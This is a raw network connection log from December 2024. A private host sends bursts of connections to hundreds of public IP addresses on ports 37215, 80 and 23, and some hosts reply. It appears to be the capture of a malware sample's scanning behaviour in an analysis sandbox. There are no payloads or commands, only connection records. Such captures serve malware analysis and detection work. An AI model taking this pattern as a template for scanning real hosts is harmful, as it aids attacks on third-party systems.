Dec 3, 2024 22:11:53.166867018 CET	45630	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:53.166874886 CET	38670	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:53.167120934 CET	45194	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:53.167120934 CET	45194	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:53.167399883 CET	45622	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:53.167710066 CET	56104	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:53.167710066 CET	56104	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:53.167956114 CET	56532	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:53.168279886 CET	52672	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:53.168279886 CET	52672	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:53.168521881 CET	53100	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:53.168859005 CET	41114	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:53.168859005 CET	41114	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:53.169116020 CET	41542	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:53.169459105 CET	33738	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:53.169459105 CET	33738	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:53.169740915 CET	34166	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:53.170037985 CET	47312	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:53.170037985 CET	47312	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:53.170281887 CET	47740	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:53.170608997 CET	34930	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:53.170608997 CET	34930	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:53.170845985 CET	35358	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:53.171176910 CET	42458	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.171176910 CET	42458	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.171435118 CET	42886	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.171761990 CET	40972	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:53.171761990 CET	40972	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:53.172051907 CET	41400	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:53.172327995 CET	33946	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:53.172327995 CET	33946	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:53.172569036 CET	34374	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:53.172880888 CET	57124	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:53.172880888 CET	57124	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:53.173124075 CET	57552	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:53.173468113 CET	53488	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:53.173468113 CET	53488	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:53.173743010 CET	53916	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:53.174024105 CET	43368	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:53.174024105 CET	43368	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:53.174271107 CET	43796	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:53.174598932 CET	47336	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:53.174598932 CET	47336	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:53.174850941 CET	47764	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:53.175178051 CET	51350	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:53.175178051 CET	51350	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:53.175446033 CET	51778	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:53.175748110 CET	45514	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:53.175748110 CET	45514	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:53.175987005 CET	45942	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:53.176322937 CET	43208	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:53.176322937 CET	43208	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:53.176567078 CET	43636	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:53.176872969 CET	36640	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:53.176872969 CET	36640	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:53.177117109 CET	37068	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:53.177433968 CET	33986	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:53.177433968 CET	33986	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:53.177689075 CET	34412	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:53.178024054 CET	40818	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:53.178024054 CET	40818	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:53.178237915 CET	41244	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:53.178558111 CET	51678	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:53.178558111 CET	51678	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:53.178812981 CET	52104	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:53.179148912 CET	41206	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.179148912 CET	41206	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.179367065 CET	41632	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.179692984 CET	40582	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:53.179692984 CET	40582	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:53.179934978 CET	41008	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:53.180274963 CET	47528	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:53.180274963 CET	47528	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:53.180499077 CET	47954	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:53.180792093 CET	53650	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:53.180792093 CET	53650	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:53.181046009 CET	54076	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:53.181371927 CET	38036	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:53.181371927 CET	38036	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:53.181612015 CET	38462	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:53.181956053 CET	52042	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:53.181956053 CET	52042	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:53.182219028 CET	52468	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:53.182538033 CET	58434	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:53.182538033 CET	58434	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:53.182795048 CET	58860	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:53.183121920 CET	38890	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:53.183121920 CET	38890	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:53.183383942 CET	39316	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:53.190809011 CET	37215	50122	197.12.39.12	192.168.2.23
Dec 3, 2024 22:11:53.191059113 CET	50122	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.191077948 CET	50122	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.191077948 CET	50122	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.191401005 CET	50544	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.192519903 CET	37215	57274	41.182.215.161	192.168.2.23
Dec 3, 2024 22:11:53.192568064 CET	57274	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:53.192603111 CET	57274	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:53.192603111 CET	57274	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:53.192867041 CET	57696	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:53.248111010 CET	37215	5603	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.248141050 CET	37215	5603	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.248151064 CET	37215	5603	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.248158932 CET	37215	5603	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.248169899 CET	37215	5603	156.238.183.10	192.168.2.23
Dec 3, 2024 22:11:53.248187065 CET	37215	5603	156.11.199.65	192.168.2.23
Dec 3, 2024 22:11:53.248195887 CET	37215	5603	197.69.77.153	192.168.2.23
Dec 3, 2024 22:11:53.248226881 CET	5603	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.248262882 CET	37215	5603	41.104.46.48	192.168.2.23
Dec 3, 2024 22:11:53.248272896 CET	37215	5603	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.248282909 CET	37215	5603	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.248311996 CET	5603	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.248322010 CET	5603	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.248327971 CET	5603	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.248327971 CET	5603	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.248339891 CET	37215	5603	156.100.177.250	192.168.2.23
Dec 3, 2024 22:11:53.248343945 CET	5603	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.248343945 CET	5603	37215	192.168.2.23	156.238.183.10
Dec 3, 2024 22:11:53.248346090 CET	5603	37215	192.168.2.23	156.11.199.65
Dec 3, 2024 22:11:53.248351097 CET	5603	37215	192.168.2.23	197.69.77.153
Dec 3, 2024 22:11:53.248351097 CET	5603	37215	192.168.2.23	41.104.46.48
Dec 3, 2024 22:11:53.248352051 CET	37215	5603	156.223.160.22	192.168.2.23
Dec 3, 2024 22:11:53.248363018 CET	37215	5603	197.232.200.251	192.168.2.23
Dec 3, 2024 22:11:53.248373032 CET	37215	5603	197.73.153.0	192.168.2.23
Dec 3, 2024 22:11:53.248378992 CET	5603	37215	192.168.2.23	156.100.177.250
Dec 3, 2024 22:11:53.248383999 CET	37215	5603	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.248394012 CET	5603	37215	192.168.2.23	156.223.160.22
Dec 3, 2024 22:11:53.248394012 CET	5603	37215	192.168.2.23	197.232.200.251
Dec 3, 2024 22:11:53.248404980 CET	37215	5603	41.70.104.246	192.168.2.23
Dec 3, 2024 22:11:53.248415947 CET	37215	5603	197.124.151.60	192.168.2.23
Dec 3, 2024 22:11:53.248418093 CET	5603	37215	192.168.2.23	197.73.153.0
Dec 3, 2024 22:11:53.248424053 CET	5603	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.248426914 CET	37215	5603	41.104.114.211	192.168.2.23
Dec 3, 2024 22:11:53.248449087 CET	5603	37215	192.168.2.23	197.124.151.60
Dec 3, 2024 22:11:53.248451948 CET	5603	37215	192.168.2.23	41.70.104.246
Dec 3, 2024 22:11:53.248461962 CET	5603	37215	192.168.2.23	41.104.114.211
Dec 3, 2024 22:11:53.249675035 CET	37215	40116	156.124.60.241	192.168.2.23
Dec 3, 2024 22:11:53.250411987 CET	37215	36106	156.86.224.106	192.168.2.23
Dec 3, 2024 22:11:53.251018047 CET	37215	55898	197.102.76.136	192.168.2.23
Dec 3, 2024 22:11:53.251211882 CET	37215	56330	197.102.76.136	192.168.2.23
Dec 3, 2024 22:11:53.251272917 CET	56330	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:53.251351118 CET	56330	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:53.251565933 CET	37215	49640	41.152.245.211	192.168.2.23
Dec 3, 2024 22:11:53.251769066 CET	46164	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.252311945 CET	57218	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.252388954 CET	37215	39918	156.37.11.97	192.168.2.23
Dec 3, 2024 22:11:53.252890110 CET	37215	57150	197.115.231.209	192.168.2.23
Dec 3, 2024 22:11:53.252909899 CET	34610	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.253485918 CET	55636	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.253523111 CET	37215	59654	156.214.207.66	192.168.2.23
Dec 3, 2024 22:11:53.254069090 CET	34432	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.254126072 CET	37215	59548	197.120.15.57	192.168.2.23
Dec 3, 2024 22:11:53.254628897 CET	43664	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.254806042 CET	37215	34314	197.194.225.14	192.168.2.23
Dec 3, 2024 22:11:53.255209923 CET	39804	37215	192.168.2.23	156.238.183.10
Dec 3, 2024 22:11:53.255426884 CET	37215	41286	197.138.48.81	192.168.2.23
Dec 3, 2024 22:11:53.255778074 CET	39240	37215	192.168.2.23	156.11.199.65
Dec 3, 2024 22:11:53.256372929 CET	46350	37215	192.168.2.23	197.69.77.153
Dec 3, 2024 22:11:53.256969929 CET	47776	37215	192.168.2.23	41.104.46.48
Dec 3, 2024 22:11:53.257514954 CET	51038	37215	192.168.2.23	156.100.177.250
Dec 3, 2024 22:11:53.258069992 CET	45184	37215	192.168.2.23	156.223.160.22
Dec 3, 2024 22:11:53.258641958 CET	51436	37215	192.168.2.23	197.232.200.251
Dec 3, 2024 22:11:53.259118080 CET	43022	37215	192.168.2.23	197.73.153.0
Dec 3, 2024 22:11:53.259639025 CET	50668	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.260159969 CET	39916	37215	192.168.2.23	41.70.104.246
Dec 3, 2024 22:11:53.260756016 CET	41242	37215	192.168.2.23	197.124.151.60
Dec 3, 2024 22:11:53.261178017 CET	33162	37215	192.168.2.23	41.104.114.211
Dec 3, 2024 22:11:53.280801058 CET	37215	54892	197.55.121.154	192.168.2.23
Dec 3, 2024 22:11:53.281435966 CET	37215	55322	197.55.121.154	192.168.2.23
Dec 3, 2024 22:11:53.281450987 CET	37215	47878	156.162.252.29	192.168.2.23
Dec 3, 2024 22:11:53.281682968 CET	55322	37215	192.168.2.23	197.55.121.154
Dec 3, 2024 22:11:53.281682968 CET	55322	37215	192.168.2.23	197.55.121.154
Dec 3, 2024 22:11:53.281794071 CET	37215	48308	156.162.252.29	192.168.2.23
Dec 3, 2024 22:11:53.281872034 CET	48308	37215	192.168.2.23	156.162.252.29
Dec 3, 2024 22:11:53.281872034 CET	48308	37215	192.168.2.23	156.162.252.29
Dec 3, 2024 22:11:53.294626951 CET	57970	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:53.294636011 CET	57792	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:53.294636011 CET	43134	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:53.294644117 CET	35678	80	192.168.2.23	116.106.246.147
Dec 3, 2024 22:11:53.294672966 CET	53314	80	192.168.2.23	96.223.198.226
Dec 3, 2024 22:11:53.294689894 CET	37464	80	192.168.2.23	212.19.103.155
Dec 3, 2024 22:11:53.294691086 CET	39770	80	192.168.2.23	188.25.84.70
Dec 3, 2024 22:11:53.294712067 CET	36818	80	192.168.2.23	96.188.193.232
Dec 3, 2024 22:11:53.295701981 CET	37215	55898	197.102.76.136	192.168.2.23
Dec 3, 2024 22:11:53.295810938 CET	37215	36106	156.86.224.106	192.168.2.23
Dec 3, 2024 22:11:53.295823097 CET	37215	40116	156.124.60.241	192.168.2.23
Dec 3, 2024 22:11:53.295833111 CET	37215	41286	197.138.48.81	192.168.2.23
Dec 3, 2024 22:11:53.295845985 CET	37215	34314	197.194.225.14	192.168.2.23
Dec 3, 2024 22:11:53.295855999 CET	37215	59548	197.120.15.57	192.168.2.23
Dec 3, 2024 22:11:53.295900106 CET	37215	59654	156.214.207.66	192.168.2.23
Dec 3, 2024 22:11:53.295912981 CET	37215	57150	197.115.231.209	192.168.2.23
Dec 3, 2024 22:11:53.295979023 CET	37215	39918	156.37.11.97	192.168.2.23
Dec 3, 2024 22:11:53.295990944 CET	37215	49640	41.152.245.211	192.168.2.23
Dec 3, 2024 22:11:53.311120033 CET	37215	46270	41.4.101.209	192.168.2.23
Dec 3, 2024 22:11:53.312640905 CET	37215	46696	41.4.101.209	192.168.2.23
Dec 3, 2024 22:11:53.312655926 CET	37215	48390	197.149.109.250	192.168.2.23
Dec 3, 2024 22:11:53.312846899 CET	46696	37215	192.168.2.23	41.4.101.209
Dec 3, 2024 22:11:53.312846899 CET	46696	37215	192.168.2.23	41.4.101.209
Dec 3, 2024 22:11:53.316190958 CET	80	38726	175.229.50.139	192.168.2.23
Dec 3, 2024 22:11:53.316257954 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:53.327986002 CET	37215	47878	156.162.252.29	192.168.2.23
Dec 3, 2024 22:11:53.328003883 CET	37215	54892	197.55.121.154	192.168.2.23
Dec 3, 2024 22:11:53.359653950 CET	37215	48390	197.149.109.250	192.168.2.23
Dec 3, 2024 22:11:53.359862089 CET	37215	46270	41.4.101.209	192.168.2.23
Dec 3, 2024 22:11:53.367419958 CET	37215	33316	156.188.165.91	192.168.2.23
Dec 3, 2024 22:11:53.367449045 CET	37215	55190	197.132.47.59	192.168.2.23
Dec 3, 2024 22:11:53.367573023 CET	37215	56720	197.100.146.120	192.168.2.23
Dec 3, 2024 22:11:53.367598057 CET	37215	39692	41.80.180.178	192.168.2.23
Dec 3, 2024 22:11:53.367774010 CET	37215	36238	156.114.213.59	192.168.2.23
Dec 3, 2024 22:11:53.367813110 CET	37215	37818	156.64.61.35	192.168.2.23
Dec 3, 2024 22:11:53.368217945 CET	37215	35230	41.97.159.163	192.168.2.23
Dec 3, 2024 22:11:53.368231058 CET	37215	35626	156.183.41.159	192.168.2.23
Dec 3, 2024 22:11:53.368242025 CET	37215	45194	197.194.144.225	192.168.2.23
Dec 3, 2024 22:11:53.369625092 CET	37215	56104	156.109.62.186	192.168.2.23
Dec 3, 2024 22:11:53.369642973 CET	37215	52672	197.223.193.153	192.168.2.23
Dec 3, 2024 22:11:53.370376110 CET	37215	41114	156.47.36.125	192.168.2.23
Dec 3, 2024 22:11:53.370403051 CET	37215	33738	156.210.68.86	192.168.2.23
Dec 3, 2024 22:11:53.370495081 CET	37215	47312	41.184.3.254	192.168.2.23
Dec 3, 2024 22:11:53.371068001 CET	37215	34930	41.255.20.86	192.168.2.23
Dec 3, 2024 22:11:53.371083975 CET	37215	42458	156.35.235.116	192.168.2.23
Dec 3, 2024 22:11:53.371098042 CET	37215	42886	156.35.235.116	192.168.2.23
Dec 3, 2024 22:11:53.371159077 CET	37215	40972	41.116.28.129	192.168.2.23
Dec 3, 2024 22:11:53.371170044 CET	42886	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.371196032 CET	37215	33946	156.0.99.185	192.168.2.23
Dec 3, 2024 22:11:53.371283054 CET	42886	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.371368885 CET	37215	57124	41.135.11.62	192.168.2.23
Dec 3, 2024 22:11:53.371381998 CET	37215	53488	197.205.232.108	192.168.2.23
Dec 3, 2024 22:11:53.371541977 CET	37215	43368	197.203.23.32	192.168.2.23
Dec 3, 2024 22:11:53.371553898 CET	37215	47336	197.251.221.207	192.168.2.23
Dec 3, 2024 22:11:53.371598005 CET	37215	51350	156.143.38.41	192.168.2.23
Dec 3, 2024 22:11:53.372164011 CET	37215	45514	197.59.17.178	192.168.2.23
Dec 3, 2024 22:11:53.372320890 CET	37215	43208	41.244.89.175	192.168.2.23
Dec 3, 2024 22:11:53.372405052 CET	37215	36640	156.85.114.140	192.168.2.23
Dec 3, 2024 22:11:53.372947931 CET	37215	33986	156.63.198.34	192.168.2.23
Dec 3, 2024 22:11:53.372958899 CET	37215	40818	197.137.99.7	192.168.2.23
Dec 3, 2024 22:11:53.372968912 CET	37215	51678	197.216.4.85	192.168.2.23
Dec 3, 2024 22:11:53.373394012 CET	37215	41206	156.20.177.69	192.168.2.23
Dec 3, 2024 22:11:53.373405933 CET	37215	41632	156.20.177.69	192.168.2.23
Dec 3, 2024 22:11:53.373416901 CET	37215	40582	197.90.173.218	192.168.2.23
Dec 3, 2024 22:11:53.373513937 CET	41632	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.373513937 CET	41632	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.373951912 CET	37215	47528	41.250.32.220	192.168.2.23
Dec 3, 2024 22:11:53.373965025 CET	37215	53650	156.12.237.133	192.168.2.23
Dec 3, 2024 22:11:53.374001980 CET	37215	38036	41.86.39.229	192.168.2.23
Dec 3, 2024 22:11:53.374836922 CET	37215	52042	156.9.37.230	192.168.2.23
Dec 3, 2024 22:11:53.374851942 CET	37215	58434	41.44.55.171	192.168.2.23
Dec 3, 2024 22:11:53.374866009 CET	37215	38890	41.210.191.65	192.168.2.23
Dec 3, 2024 22:11:53.375824928 CET	37215	50122	197.12.39.12	192.168.2.23
Dec 3, 2024 22:11:53.375845909 CET	37215	50544	197.12.39.12	192.168.2.23
Dec 3, 2024 22:11:53.375859976 CET	37215	57274	41.182.215.161	192.168.2.23
Dec 3, 2024 22:11:53.375912905 CET	50544	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.375914097 CET	50544	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.375938892 CET	37215	46164	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.375981092 CET	37215	57218	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.376013994 CET	46164	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.376014948 CET	57218	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.376065016 CET	37215	34610	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.376066923 CET	46164	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.376066923 CET	46164	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.376079082 CET	37215	55636	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.376092911 CET	37215	34432	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.376102924 CET	37215	43664	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.376108885 CET	34610	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.376131058 CET	37215	56330	197.102.76.136	192.168.2.23
Dec 3, 2024 22:11:53.376132965 CET	55636	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.376161098 CET	34432	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.376161098 CET	43664	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.376171112 CET	56330	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:53.376503944 CET	46200	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.376874924 CET	57218	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.376874924 CET	57218	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.377159119 CET	57254	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.377517939 CET	34610	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.377517939 CET	34610	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.377782106 CET	34646	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.378120899 CET	55636	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.378120899 CET	55636	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.378391027 CET	55672	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.378720999 CET	34432	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.378720999 CET	34432	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.378981113 CET	34468	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.379350901 CET	43664	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.379350901 CET	43664	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.379575968 CET	43700	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.380290031 CET	8163	23	192.168.2.23	112.59.244.5
Dec 3, 2024 22:11:53.380290985 CET	8163	23	192.168.2.23	36.227.191.134
Dec 3, 2024 22:11:53.380305052 CET	8163	23	192.168.2.23	93.148.138.193
Dec 3, 2024 22:11:53.380311012 CET	8163	23	192.168.2.23	109.32.156.237
Dec 3, 2024 22:11:53.380317926 CET	8163	23	192.168.2.23	185.126.25.96
Dec 3, 2024 22:11:53.380335093 CET	8163	23	192.168.2.23	68.64.59.66
Dec 3, 2024 22:11:53.380335093 CET	8163	23	192.168.2.23	200.226.44.172
Dec 3, 2024 22:11:53.380338907 CET	8163	23	192.168.2.23	90.109.181.7
Dec 3, 2024 22:11:53.380346060 CET	8163	23	192.168.2.23	67.204.102.215
Dec 3, 2024 22:11:53.380358934 CET	8163	23	192.168.2.23	169.203.90.25
Dec 3, 2024 22:11:53.380366087 CET	8163	23	192.168.2.23	199.197.122.0
Dec 3, 2024 22:11:53.380371094 CET	8163	23	192.168.2.23	74.58.19.226
Dec 3, 2024 22:11:53.380372047 CET	8163	23	192.168.2.23	77.161.191.123
Dec 3, 2024 22:11:53.380378962 CET	8163	23	192.168.2.23	73.241.18.240
Dec 3, 2024 22:11:53.380389929 CET	8163	23	192.168.2.23	205.188.95.94
Dec 3, 2024 22:11:53.380394936 CET	8163	23	192.168.2.23	82.168.113.157
Dec 3, 2024 22:11:53.380400896 CET	8163	23	192.168.2.23	53.159.99.128
Dec 3, 2024 22:11:53.380409002 CET	8163	23	192.168.2.23	116.178.247.30
Dec 3, 2024 22:11:53.380419970 CET	8163	23	192.168.2.23	95.39.214.110
Dec 3, 2024 22:11:53.380433083 CET	8163	23	192.168.2.23	187.55.76.119
Dec 3, 2024 22:11:53.380438089 CET	8163	23	192.168.2.23	18.206.168.102
Dec 3, 2024 22:11:53.380438089 CET	8163	23	192.168.2.23	104.137.170.7
Dec 3, 2024 22:11:53.380450964 CET	8163	23	192.168.2.23	193.175.104.241
Dec 3, 2024 22:11:53.380465031 CET	8163	23	192.168.2.23	210.236.81.142
Dec 3, 2024 22:11:53.380469084 CET	8163	23	192.168.2.23	18.168.58.134
Dec 3, 2024 22:11:53.380470991 CET	8163	23	192.168.2.23	220.161.4.74
Dec 3, 2024 22:11:53.380470991 CET	8163	23	192.168.2.23	12.222.71.28
Dec 3, 2024 22:11:53.380484104 CET	8163	23	192.168.2.23	8.226.35.64
Dec 3, 2024 22:11:53.380484104 CET	8163	23	192.168.2.23	78.84.174.19
Dec 3, 2024 22:11:53.380484104 CET	8163	23	192.168.2.23	187.47.237.223
Dec 3, 2024 22:11:53.380486012 CET	8163	23	192.168.2.23	165.63.247.167
Dec 3, 2024 22:11:53.380491018 CET	8163	23	192.168.2.23	185.205.115.34
Dec 3, 2024 22:11:53.380501986 CET	8163	23	192.168.2.23	151.233.73.196
Dec 3, 2024 22:11:53.380503893 CET	8163	23	192.168.2.23	99.226.117.75
Dec 3, 2024 22:11:53.380503893 CET	8163	23	192.168.2.23	88.237.21.148
Dec 3, 2024 22:11:53.380517006 CET	8163	23	192.168.2.23	43.205.27.179
Dec 3, 2024 22:11:53.380517006 CET	8163	23	192.168.2.23	114.210.176.31
Dec 3, 2024 22:11:53.380521059 CET	8163	23	192.168.2.23	52.48.246.6
Dec 3, 2024 22:11:53.380538940 CET	8163	23	192.168.2.23	36.206.179.255
Dec 3, 2024 22:11:53.380542040 CET	8163	23	192.168.2.23	182.113.104.109
Dec 3, 2024 22:11:53.380544901 CET	8163	23	192.168.2.23	197.68.247.39
Dec 3, 2024 22:11:53.380556107 CET	8163	23	192.168.2.23	139.4.96.151
Dec 3, 2024 22:11:53.380558968 CET	8163	23	192.168.2.23	25.191.155.239
Dec 3, 2024 22:11:53.380563021 CET	8163	23	192.168.2.23	102.209.189.152
Dec 3, 2024 22:11:53.380574942 CET	8163	23	192.168.2.23	9.70.89.4
Dec 3, 2024 22:11:53.380578995 CET	8163	23	192.168.2.23	151.56.195.25
Dec 3, 2024 22:11:53.380585909 CET	8163	23	192.168.2.23	184.1.125.87
Dec 3, 2024 22:11:53.380599976 CET	8163	23	192.168.2.23	194.96.178.162
Dec 3, 2024 22:11:53.380600929 CET	8163	23	192.168.2.23	198.104.173.220
Dec 3, 2024 22:11:53.380606890 CET	8163	23	192.168.2.23	176.58.157.64
Dec 3, 2024 22:11:53.380619049 CET	8163	23	192.168.2.23	145.119.87.52
